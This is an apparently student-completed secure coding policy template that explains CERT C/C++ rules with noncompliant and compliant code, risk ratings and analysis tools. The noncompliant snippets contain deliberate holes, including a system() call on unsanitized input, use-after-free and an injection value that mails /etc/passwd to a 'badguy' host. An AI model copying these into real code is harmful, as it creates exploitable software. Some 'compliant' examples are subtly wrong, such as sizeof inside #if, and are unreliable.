Green Pace Developer: Security Policy Guide Template



Green Pace Secure Development Policy

Contents

[Overview 2](#_Toc52464053)

[Purpose 2](#_Toc52464054)

[Scope 2](#_Toc52464055)

[Module Three Milestone 2](#_Toc52464056)

[Ten Core Security Principles 2](#_Toc52464057)

[C/C++ Ten Coding Standards 3](#_Toc52464058)

[Coding Standard 1 4](#_Toc52464059)

[Coding Standard 2 5](#_Toc52464060)

[Coding Standard 3 6](#_Toc52464061)

[Coding Standard 4 7](#_Toc52464062)

[Coding Standard 5 8](#_Toc52464063)

[Coding Standard 6 9](#_Toc52464064)

[Coding Standard 7 10](#_Toc52464065)

[Coding Standard 8 11](#_Toc52464066)

[Coding Standard 9 13](#_Toc52464067)

[Coding Standard 10 14](#_Toc52464068)

[Defense-in-Depth Illustration 15](#_Toc52464069)

[Project One 15](#_Toc52464070)

[1. Revise the C/C++ Standards 15](#_Toc52464071)

[2. Risk Assessment 15](#_Toc52464072)

[3. Automated Detection 15](#_Toc52464073)

[4. Automation 15](#_Toc52464074)

[5. Summary of Risk Assessments 16](#_Toc52464075)

[6. Create Policies for Encryption and Triple A 16](#_Toc52464076)

[7. Map the Principles 17](#_Toc52464077)

[Audit Controls and Management 18](#_Toc52464078)

[Enforcement 18](#_Toc52464079)

[Exceptions Process 18](#_Toc52464080)

[Distribution 19](#_Toc52464081)

[Policy Change Control 19](#_Toc52464082)

[Policy Version History 19](#_Toc52464083)

[Appendix A Lookups 19](#_Toc52464084)

[Approved C/C++ Language Acronyms 19](#_Toc52464085)

Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

Module Three Milestone

Ten Core Security Principles

| Principles | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| Validate Input Data | Validate input from all untrusted data sources. Proper input validation can eliminate the vast majority of software [vulnerabilities](https://wiki.sei.cmu.edu/confluence/display/c/BB.+Definitions#BB.Definitions-vulnerability). Be suspicious of most external data sources, including command line arguments, network interfaces, environmental variables, and user-controlled files. |
| Heed Compiler Warnings | Compile code using the highest warning level available for your compiler and eliminate warnings by modifying the code. Use static and dynamic analysis tools to detect and eliminate additional security flaws. |
| Architect and Design for Security Policies | Create a software architecture and design your software to implement and enforce security policies. For example, if your system requires different privileges at different times, consider dividing the system into distinct intercommunicating subsystems, each with an appropriate privilege set. |
| Keep It Simple | Keep the design as simple and small as possible. Complex designs increase the likelihood that errors will be made in their implementation, configuration, and use. Additionally, the effort required to achieve an appropriate level of assurance increases dramatically as security mechanisms become more complex. |
| Default Deny | Base access decisions on permission rather than exclusion. This means that, by default, access is denied, and the protection scheme identifies conditions under which access is permitted. |
| Adhere to the Principle of Least Privilege | Every process should be executed with the least set of privileges necessary to complete the job. Any elevated permission should only be accessed for the least amount of time required to complete the privileged task. This approach reduces the opportunities an attacker has to execute arbitrary code with elevated privileges |
| Sanitize Data Sent to Other Systems | Sanitize all data passed to complex subsystems such as command shells, relational databases, and commercial off-the-shelf (COTS) components. Attackers may be able to invoke unused functionality in these components through the use of SQL, command, or other injection attacks. This is not necessarily an input validation problem because the complex subsystem being invoked does not understand the context in which the call is made. Because the calling process understands the context, it is responsible for sanitizing the data before invoking the subsystem. |
| Practice Defense in Depth | Manage risk with multiple defensive strategies, so that if one layer of defense turns out to be inadequate, another layer of defense can prevent a [security flaw](https://wiki.sei.cmu.edu/confluence/display/c/BB.+Definitions#BB.Definitions-securityflaw) from becoming an exploitable vulnerability and/or limit the consequences of a successful [exploit](https://wiki.sei.cmu.edu/confluence/display/c/BB.+Definitions#BB.Definitions-exploit). For example, combining secure programming techniques with secure runtime environments should reduce the likelihood that vulnerabilities remaining in the code at deployment time can be exploited in the operational environment |
| Use Effective Quality Assurance Techniques | Good quality assurance techniques can be effective in identifying and eliminating vulnerabilities. Fuzz testing, penetration testing, and source code audits should all be incorporated as part of an effective quality assurance program. Independent security reviews can lead to more secure systems. External reviewers bring an independent perspective; for example, in identifying and correcting invalid assumptions. |
| Adopt a Secure Coding Standard | Secure coding standards are rules and guidelines used to prevent vulnerabilities. Some examples of secure coding standards are, CERT, CVE, NVD, OWASP, and DISA STIG. Develop and/or apply a secure coding standard for your target development language and platform. |

C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

Coding Standard 1

| Coding Standard | Label | [**Implement abstract data types using opaque types**](https://wiki.sei.cmu.edu/confluence/display/c/DCL12-C.+Implement+abstract+data+types+using+opaque+types) |
| --- | --- | --- |
| Data Type | [DCL-012-C] | Abstract data types are more effective when used with private (opaque) data types and information hiding or encapsulation. |

| Noncompliant Code |
| --- |
| The implementation of the string\_mx type is fully visible to the user of the data type after including the string\_m.h file. Programmers are consequently more likely to directly manipulate the fields within the structure, violating the software engineering principles of information hiding and data encapsulation and increasing the probability of developing incorrect or nonportable code. |
| **struct** string\_mx {  **size\_t** size;  **size\_t** maxsize;    unsigned **char** strtype;  **char** \*cstr;  };    **typedef** **struct** string\_mx string\_mx;    /\* Function declarations \*/  **extern** errno\_t strcpy\_m(string\_mx \*s1, **const** string\_mx \*s2);  **extern** errno\_t strcat\_m(string\_mx \*s1, **const** string\_mx \*s2);  /\* ... \*/ |

| Compliant Code |
| --- |
| The developer of the private data type creates two header files: an external string\_m.h header file that is included by the user of the data type and an internal file that is included only in files that implement the managed string abstract data type. |
| **struct** string\_mx;  **typedef** **struct** string\_mx string\_mx;    /\* Function declarations \*/  **extern** errno\_t strcpy\_m(string\_mx \*s1, **const** string\_mx \*s2);  **extern** errno\_t strcat\_m(string\_mx \*s1, **const** string\_mx \*s2);  /\* ... \*/  **struct** string\_mx {  **size\_t** size;  **size\_t** maxsize;    unsigned **char** strtype;  **char** \*cstr;  }; |

Note: Stop here for the milestone. Complete this section for Project One in Module Six.

| Principles(s): 10. Adopt a Secure Coding Standard: By applying secure coding standards, we would be able to encapsulate string\_mx data type to remain private. This would ensure data security. |
| --- |

Threat Level

| Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- |
| Low | Unlikely | High | P1 | L3 |

Automation

| Tool | Version | Checker | Description Tool |
| --- | --- | --- | --- |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/c/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC-DCL12** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **104 D** | Partially implemented |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024a | [CERT C: Rec. DCL12-C](https://www.mathworks.com/help/bugfinder/ref/certcrec.dcl12c.html) | Checks for structure or union object implementation visible in file where pointer to this object is not dereferenced (rule partially covered) |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2023.1 | **CERT\_C-DCL12-a** | If a pointer to a structure or union is never dereferenced within a translation unit, then the implementation of the object should be hidden |

Coding Standard 2

| **Coding Standard** | **Label** | **Ensure that unsigned integer operations do not wrap** |
| --- | --- | --- |
| **Data Value** | [INT-030-C] | Unsigned integer operations can wrap if the resulting value cannot be represented by the underlying representation of the integer. When reaching the limit size of storage for a data value, the value will wrap around to the other end of the limit. This should especially not be used in any pointer arithmetic. |

| **Noncompliant Code** |
| --- |
| This noncompliant code example can result in an unsigned integer wrap during the addition of the unsigned operands ui\_a and ui\_b. If this behavior is [unexpected](https://wiki.sei.cmu.edu/confluence/display/c/BB.+Definitions#BB.Definitions-unexpectedbehavior), the resulting value may be used to allocate insufficient memory for a subsequent operation or in some other manner that can lead to an exploitable [vulnerability](https://wiki.sei.cmu.edu/confluence/display/c/BB.+Definitions#BB.Definitions-vulnerability). |
| void func(unsigned int ui\_a, unsigned int ui\_b) {  unsigned int usum = ui\_a + ui\_b;  /\* ... \*/  } |

| **Compliant Code** |
| --- |
| A precondition test is added, to test the operands of the addition and assure no unsigned wrapping has occurred. |
| #include <limits.h>  void func(unsigned int ui\_a, unsigned int ui\_b) {  unsigned int usum;  if (UINT\_MAX - ui\_a < ui\_b) {  /\* Handle error \*/  } else {  usum = ui\_a + ui\_b;  }  /\* ... \*/  } |

Note: Stop here for the milestone. Complete this section for Project One in Module Six.

| Principles(s): 10. Adopt a Secure Coding Standard - A coding standard or principle to use to ensure that data wrapping does not occur or is properly handled is exception handling in this case. This would handle situations where unsigned wrapping occurs ensuring that it is not a vulnerability that attackers can exploit. (using the throw, try and catch keywords). |
| --- |

Threat Level

| Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- |
| High | Likely | High | P9 | L2 |

Automation

| Tool | Version | Checker | Description Tool |
| --- | --- | --- | --- |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2023.1 | **CERT\_C-INT30-a CERT\_C-INT30-b CERT\_C-INT30-c** | Avoid wraparounds when performing arithmetic integer operations Integer overflow or underflow in constant expression in '+', '-', '\*' operator Integer overflow or underflow in constant expression in '<<' operator |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/c/PVS-Studio) | 7.31 | [**V658**](https://pvs-studio.com/en/docs/warnings/v658/)**,**[**V1012**](https://pvs-studio.com/en/docs/warnings/v1012/)**,**[**V1028**](https://pvs-studio.com/en/docs/warnings/v1028/)**,**[**V5005**](https://pvs-studio.com/en/docs/warnings/v5005/)**,**[**V5011**](https://pvs-studio.com/en/docs/warnings/v5011/) |  |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024a | [CERT C: Rule INT30-C](https://www.mathworks.com/help/bugfinder/ref/certcruleint30c.html) | Checks for:   * Unsigned integer overflow * Unsigned integer constant overflow   Rule partially covered. |
| [TrustInSoft Analyzer](https://wiki.sei.cmu.edu/confluence/display/c/TrustInSoft+Analyzer) | 1.38 | Unsigned overflow | Exhaustively verified. |

Coding Standard 3

| Coding Standard | Label | **Do not attempt to modify String literals** |
| --- | --- | --- |
| String Correctness | [STR-030-C] | String literals are usually referred to by a pointer to (or array of) characters. Ideally, they should be assigned only to pointers to (or arrays of) const char or const wchar\_t. It is unspecified whether these arrays of string literals are distinct from each other. The behavior is [undefined](https://wiki.sei.cmu.edu/confluence/display/c/BB.+Definitions#BB.Definitions-undefinedbehavior) if a program attempts to modify any portion of a string literal. Modifying a string literal frequently results in an access violation because string literals are typically stored in read-only memory. |

| Noncompliant Code |
| --- |
| In this noncompliant code example, the char pointer str is initialized to the address of a string literal. Attempting to modify the string literal is [undefined behavior](https://wiki.sei.cmu.edu/confluence/display/c/BB.+Definitions#BB.Definitions-undefinedbehavior). |
| **char** \*str = "string literal";  str[0] = 'S'; |

| Compliant Code |
| --- |
| As an array initializer, a string literal specifies the initial values of characters in an array as well as the size of the array. This code creates a copy of the string literal in the space allocated to the character array str. The string stored in str can be modified safely. |
| char str[] = "string literal";  str[0] = 'S'; |

Note: Stop here for the milestone. Complete this section for Project One in Module Six.

| Principles(s): 2. Heed Compiler Warnings --- The compiler always outputs errors and warning messages in the console. These messages contain information on how to rectify or resolve the identified issue. Following this principle enables you to know how to declare, initialize and modify string literals (syntax) correctly without running into problems. |
| --- |

Threat Level

| Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- |
| Low | Likely | Low | P9 | L2 |

Automation

| Tool | Version | Checker | Description Tool |
| --- | --- | --- | --- |
| Astree | 24.04 | **string-literal-modification write-to-string-literal** | Fully checked |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/c/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC-STR30** | Fully implemented |
| Coverity | 2017.07 | PW | Deprecates conversion from a string literal to "char \*" |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2023.1 | **CERT\_C-STR30-a CERT\_C-STR30-b** | A string literal shall not be modified Do not modify string literals |

Coding Standard 4

| Coding Standard | Label | **Sanitize data passed to complex subsystems** |
| --- | --- | --- |
| SQL Injection | [STR-002-C] | String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software [vulnerability](https://wiki.sei.cmu.edu/confluence/display/c/BB.+Definitions#BB.Definitions-vulnerability). As a result, it is necessary to [sanitize](https://wiki.sei.cmu.edu/confluence/display/c/BB.+Definitions#BB.Definitions-sanitize) all string data passed to complex subsystems so that the resulting string is innocuous in the context in which it will be interpreted. |

| Noncompliant Code |
| --- |
| Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem. The risk, of course, is that the user enters the following string as an email address: bogus@addr.com; cat /etc/passwd | mail some@badguy.net. |
| sprintf(buffer, "/bin/mail %s < /tmp/email", addr);  system(buffer); |

| Compliant Code |
| --- |
| The whitelisting approach to data sanitization is to define a list of acceptable characters and remove any character that is not acceptable. The list of valid input values is typically a predictable, well-defined set of manageable size. |
| static char ok\_chars[] = "abcdefghijklmnopqrstuvwxyz"                           "ABCDEFGHIJKLMNOPQRSTUVWXYZ"                           "1234567890\_-.@";  char user\_data[] = "Bad char 1:} Bad char 2:{";  char \*cp = user\_data; /\* Cursor into string \*/  const char \*end = user\_data + strlen( user\_data);  for (cp += strspn(cp, ok\_chars); cp != end; cp += strspn(cp, ok\_chars)) {    \*cp = '\_';  } |

Note: Stop here for the milestone. Complete this section for Project One in Module Six.

| Principles(s): 7-- Sanitize Data Sent to Other Systems – sanitizing data prevents SQL injection. It is important to define acceptable input data being passed to the subsystem, that way, no vulnerabilities can be introduced. |
| --- |

Threat Level

| Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

Automation

| Tool | Version | Checker | Description Tool |
| --- | --- | --- | --- |
| Astree | 24.04 |  | Supported by stubbing/taint analysis |
| Coverity | 6.5 | **TAINTED\_STRING** | Fully implemented |
| Klocwork | 2024.1 | **NNTS.TAINTED SV.TAINTED.INJECTION** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **108 D, 109 D** | Partially implemented |

Coding Standard 5

| **Coding Standard** | **Label** | **Explicitly construct and destruct objects when manually managing object lifetime** |
| --- | --- | --- |
| **Memory Protection** | [MEM-053-CPP] | When not using the new operator to allocate sufficient memory, memory is thought to be manually managed (the lifetime of the object) and should be deallocated and destroyed in the same manual manner. An object used outside of its lifespan causes undefined behavior and can lead to errors. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, a class with nontrivial initialization (due to the presence of a user-provided constructor) is created with a call to std::malloc(). However, the constructor for the object is never called, resulting in [undefined behavior](https://wiki.sei.cmu.edu/confluence/display/cplusplus/BB.+Definitions#BB.Definitions-undefinedbehavior) when the class is later accessed by calling s->f(). |
| #include <cstdlib>    struct S {    S();      void f();  };    void g() {    S \*s = static\_cast<S \*>(std::**malloc**(sizeof(S)));      s->f();      std::**free**(s);  } |

| **Compliant Code** |
| --- |
| The constructor and destructor are both explicitly called. Further, to reduce the possibility of the object being used outside of its lifetime, the underlying storage is a separate variable from the live object. |
| #include <cstdlib>  #include <new>    **struct** S {    S();    **void** f();  };    **void** g() {  **void** \*ptr = std::**malloc**(**sizeof**(S));    S \*s = **new** (ptr) S;      s->f();      s->~S();    std::**free**(ptr);  }    void g() {  void \*ptr = std::malloc(sizeof(S));  S \*s = new (ptr) S;    s->f();    s->~S();  std::free(ptr);  } |

Note: Stop here for the milestone. Complete this section for Project One in Module Six.

| Principles(s): 4. Keep It Simple – when not explicitly constructing and destructing manually managed objects, complexity is greatly increased. The prospect of having a dangling pointer is high when code is complex. The undefined behavior created by these pointers can be exploited by attackers. Explicit statements will simplify the process and prevent errors from occurring. |
| --- |

Threat Level

| Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

Automation

| Tool | Version | Checker | Description Tool |
| --- | --- | --- | --- |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2024.1 | **DF4761, DF4762, DF4766, DF4767** |  |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2023.1 | **CERT\_CPP-MEM53-a** | Do not invoke malloc/realloc for objects having constructors |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024a | [CERT C++: MEM53-CPP](https://www.mathworks.com/help/bugfinder/ref/certcmem53cpp.html) | Checks for objects allocated but not initialized (rule fully covered). |
| PVS-Studio | 7.31 | [V630](https://pvs-studio.com/en/docs/warnings/v630/)**,**[V749](https://pvs-studio.com/en/docs/warnings/v749/) |  |

Coding Standard 6

| Coding Standard | Label | [**Use a static assertion to test the value of a constant expression**](https://wiki.sei.cmu.edu/confluence/display/c/DCL03-C.+Use+a+static+assertion+to+test+the+value+of+a+constant+expression) |
| --- | --- | --- |
| Assertions | [DCL-003-C] | Assertions are a valuable diagnostic tool for finding and eliminating software defects that may result in [vulnerabilities](https://wiki.sei.cmu.edu/confluence/display/c/BB.+Definitions#BB.Definitions-vulnerability). The runtime assert() macro has some limitations, however, in that it incurs a runtime overhead and because it calls abort(). Consequently, the runtime assert() macro is useful only for identifying incorrect assumptions and not for runtime error checking. |

| Noncompliant Code |
| --- |
| This noncompliant code uses the assert() macro to assert a property concerning a memory-mapped structure that is essential for the code to behave correctly. Although the use of the runtime assertion is better than nothing, it needs to be placed in a function and executed. |
| #include <assert.h>    **struct** timer {    unsigned **char** MODE;    unsigned **int** DATA;    unsigned **int** COUNT;  };    **int** func(**void**) {  **assert**(**sizeof**(**struct** timer) == **sizeof**(unsigned **char**) + **sizeof**(unsigned **int**) + **sizeof**(unsigned **int**));  } |

| Compliant Code |
| --- |
| For assertions involving only constant expressions, a preprocessor conditional statement may be used. |
| struct timer {    unsigned char MODE;    unsigned int DATA;    unsigned int COUNT;  };    #if (sizeof(struct timer) != (sizeof(unsigned char) + sizeof(unsigned int) + sizeof(unsigned int)))    #error "Structure must not have any padding"  #endif |

Note: Stop here for the milestone. Complete this section for Project One in Module Six.

| Principles(s): 9--- Use Effective Quality Assurance Techniques – Understanding assert statements is key to applying effective QA techniques. Assert is often called to test software in early iterations, aligning with this principle. In this case, we can test the value of a constant expression using assert statements (in this case a preprocessor condition) during the testing phase of the development lifecycle. |
| --- |

Threat Level

| Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- |
| Low | Unlikely | High | P1 | L3 |

Automation

| Tool | Version | Checker | Description Tool |
| --- | --- | --- | --- |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/c/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC-DCL03** |  |
| Clang | 3.9 | misc-static-assert | Checked by clang-tidy |
| [ECLAIR](https://wiki.sei.cmu.edu/confluence/display/c/ECLAIR) | 1.2 | CC2.DCL03 | Fully implemented |
| LDRA tool suite | 9.7.1 | 44 S | Fully implemented |

Coding Standard 7

| **Coding Standard** | **Label** | **Handle all exceptions** |
| --- | --- | --- |
| **Exceptions** | [ERR-051-CPP] | When an exception is thrown, control is transferred to the nearest handler with a type that matches the type of the exception thrown. If no matching handler is directly found within the handlers for a try block in which the exception is thrown, the search for a matching handler continues to dynamically search for handlers in the surrounding try blocks of the same thread. |

| **Noncompliant Code** |
| --- |
| Neither f() nor main() catch exceptions thrown by throwing\_func(). Because no matching handler can be found for the exception thrown, std::terminate() is called. |
| void throwing\_func() noexcept(false);    void f() {  throwing\_func();  }    int main() {  f();  } |

| **Compliant Code** |
| --- |
| The main entry point handles all exceptions, which ensures that the stack is unwound up to the main() function and allows for graceful management of external resources. |
| void throwing\_func() noexcept(false);    void f() {    throwing\_func();  }    **int** main() {    try {      f();    } catch (...) {      // Handle error    }  } |

Note: Stop here for the milestone. Complete this section for Project One in Module Six.

| Principles(s): 10. Adopt a Secure Coding Standard—exception handling is an industry recognized secure coding standard. It ensures that vulnerabilities are mitigated by handling all errors that could be generated during code execution using try, catch and throw keywords in code. |
| --- |

Threat Level

| Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- |
| Low | Probable | Medium | P4 | L3 |

Automated Detected

| Tool | Version | Checker | Description Tool |
| --- | --- | --- | --- |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2023.1 | **CERT\_CPP-ERR51-a CERT\_CPP-ERR51-b** | Always catch exceptions Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point. |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024a | [CERT C++: ERR51-CPP](https://www.mathworks.com/help/bugfinder/ref/certcerr51cpp.html) | Checks for unhandled exceptions (rule partially covered) |
| RuleChecker | 22.10 | **main-function-catch-all early-catch-all** | Partially checked |
| LDRA tool suite | 9.7.1 | 527 S | Partially implemented |

Coding Standard 8

| Coding Standard | Label | Do not access freed memory |
| --- | --- | --- |
| Memory Protection | [MEM-050-CPP] | Evaluating a pointer—including dereferencing the pointer, using it as an operand of an arithmetic operation, type casting it, and using it as the right-hand side of an assignment—into memory that has been deallocated by a memory management function is [undefined behavior](https://wiki.sei.cmu.edu/confluence/display/cplusplus/BB.+Definitions#BB.Definitions-undefinedbehavior). Pointers to memory that has been deallocated are called dangling pointers. Accessing a dangling pointer can result in exploitable [vulnerabilities](https://wiki.sei.cmu.edu/confluence/display/cplusplus/BB.+Definitions#BB.Definitions-vulnerability). |

| Noncompliant Code |
| --- |
| The [vulnerability](https://wiki.sei.cmu.edu/confluence/display/cplusplus/BB.+Definitions#BB.Definitions-vulnerability) can be [exploited](https://wiki.sei.cmu.edu/confluence/display/cplusplus/BB.+Definitions#BB.Definitions-exploit) to run arbitrary code with the permissions of the vulnerable process. Typically, dynamic memory allocations and deallocations are far removed, making it difficult to recognize and diagnose such problems. |
| #include <new>    struct S {    void f();  };    void g() noexcept(false) {    S \*s = new S;    // ...    delete s;    // ...    s->f();  } |

| Compliant Code |
| --- |
| In this compliant solution, the dynamically allocated memory is not deallocated until it is no longer required. |
| #include <new>    struct S {    void f();  };    void g() noexcept(false) {    S \*s = new S;    // ...    s->f();    delete s;  } |

Note: Stop here for the milestone. Complete this section for Project One in Module Six.

| Principles(s): 9. Use Effective Quality Assurance Techniques --- Employing tools like static analyzers and sanitizers (testing phase of SDLC) can help ensure memory safety. These tools can identify any access to dangling pointers or freed memory which can cause vulnerabilities. Thus, problem can be fixed before it becomes a defect and potentially cause a system failure. |
| --- |

Threat Level

| Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

Automation

| Tool | Version | Checker | Description Tool |
| --- | --- | --- | --- |
| Astree | 22.10 | Dangling\_pointer\_use |  |
| Clang | 3.9 | clang-analyzer-cplusplus.NewDelete clang-analyzer-alpha.security.ArrayBoundV2 | Checked by clang-tidy but does not catch all violations of this rule. |
| CodeSonar | 8.1p0 | ALLOC.UAF | Use after free |
| Coverity | V7.5.0 | USE\_AFTER\_FREE | Can detect the specific instances where memory is deallocated more than once or read/written to the target of a freed pointer |

**Coding standard 9**

| Coding Standard | Label | Detect errors when converting a string to a number |
| --- | --- | --- |
| Exceptions | [ERR-062-CPP] | The process of parsing an integer or floating-point number from a string can produce many errors. The string might not contain a number. It might contain a number of the correct type that is out of range (such as an integer that is larger than INT\_MAX). The string may also contain extra information after the number, which may or may not be useful after the conversion. These error conditions must be detected and addressed when a string-to-number conversion is performed using a formatted input stream such as std::istream or the locale facet num\_get<>. |

| Noncompliant Code |
| --- |
| Multiple numeric values are converted from the standard input stream. However, if the text received from the standard input stream cannot be converted into a numeric value that can be represented by an int, the resulting value stored into the variables i and j may be unexpected. |
| #include <iostream>    void f() {    int i, j;    std::cin >> i >> j;    // ...  } |

| Compliant Code |
| --- |
| Exceptions are enabled so that any conversion failure results in an exception being thrown. Both the badbit and failbit flags are set to ensure that conversion errors as well as loss of integrity with the stream are treated as exceptions. |
| #include <iostream>    void f() {    int i, j;      std::cin.exceptions(std::istream::failbit | std::istream::badbit);    try {      std::cin >> i >> j;      // ...    } catch (std::istream::failure &E) {      // Handle error    }  } |

Note: Stop here for the milestone. Complete this section for Project One in Module Six.

| Principles(s): 10. Adopt a Secure Coding Standard—exception handling is an industry recognized secure coding standard. Implementing exception handling secure coding standard would help detect errors when converting a string to a number using the try, catch handlers along with the throw keyword. |
| --- |

Threat Level

| Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- |
| Medium | Unlikely | Medium | P4 | L3 |

Automation

| Tool | Version | Checker | Description Tool |
| --- | --- | --- | --- |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Axivion+Bauhaus+Suite) | 7.2.0 | CertC+ +-ERR62 |  |
| Clang | 3.9 | cert-err34-c | Checked by clang-tidy; only identifies use of unsafe C Standard Library functions corresponding to ERR34-C |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2023.1 | **CERT\_CPP-ERR62-a** | The library functions atof, atoi and atol from library stdlib.h shall not be used |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024a | [CERT C++: ERR62-CPP](https://www.mathworks.com/help/bugfinder/ref/certcerr62cpp.html) | Checks for unvalidated string-to-number conversion (rule fully covered) |

Coding Standard 10

| Coding Standard | Label | **Do not destroy a Mutex while it is locked** |
| --- | --- | --- |
| Concurrency | [CON-050-CPP] | Mutex objects are used to protect shared data from being concurrently accessed. If a mutex object is destroyed while a thread is blocked waiting for the lock, [critical sections](https://wiki.sei.cmu.edu/confluence/display/cplusplus/BB.+Definitions#BB.Definitions-criticalsections) and shared data are no longer protected. |

| Noncompliant Code |
| --- |
| This noncompliant code example creates several threads that each invoke the do\_work() function, passing a unique number as an ID.  Unfortunately, this code contains a race condition, allowing the mutex to be destroyed while it is still owned, because start\_threads() may invoke the mutex's destructor before all of the threads have exited. |
| #include <mutex>  #include <thread>    **const** **size\_t** maxThreads = 10;    **void** do\_work(**size\_t** i, std::mutex \*pm) {    std::lock\_guard<std::mutex> lk(\*pm);      // Access data protected by the lock.  }    **void** start\_threads() {    std::**thread** threads[maxThreads];    std::mutex m;    **for** (**size\_t** i = 0; i < maxThreads; ++i) {      threads[i] = std::**thread**(do\_work, i, &m);    }  } |

| Compliant Code |
| --- |
| This compliant solution eliminates the race condition by extending the lifetime of the mutex. |
| #include <mutex>  #include <thread>    const size\_t maxThreads = 10;    void do\_work(size\_t i, std::mutex \*pm) {    std::lock\_guard<std::mutex> lk(\*pm);      // Access data protected by the lock.  }    std::mutex m;    void start\_threads() {    std::thread threads[maxThreads];      for (size\_t i = 0; i < maxThreads; ++i) {      threads[i] = std::thread(do\_work, i, &m);    }  } |

Note: Stop here for the milestone. Complete this section for Project One in Module Six.

| Principles(s): 4. Keep it simple --- Keeping code simple can significantly enhance concurrency safety. Keeping code simple makes them less error prone which in turn makes reasoning easier. With simple logic, it is easier to ensure that mutexes are used correctly, avoiding a situation where a mutex is destroyed while it is locked. |
| --- |

Threat Level

| Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- |
| Medium | Probable | High | P4 | L3 |

Automation

| Tool | Version | Checker | Description Tool |
| --- | --- | --- | --- |
| CodeSonar | 8.1p0 | **CONCURRENCY.LOCALARG** | Local Variable Passed to Thread |
| Helix QAC | 2024.1 | DF961, DF4962 |  |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2023.1 | **CERT\_CPP-CON50-a** | Do not destroy another thread’s mutex |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024a | [CERT C++: CON50-CPP](https://www.mathworks.com/help/bugfinder/ref/certccon50cpp.html) | Checks for destruction of locked mutex (rule partially covered) |

Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



Project One

There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

Automation

Provide a written explanation using the image provided.



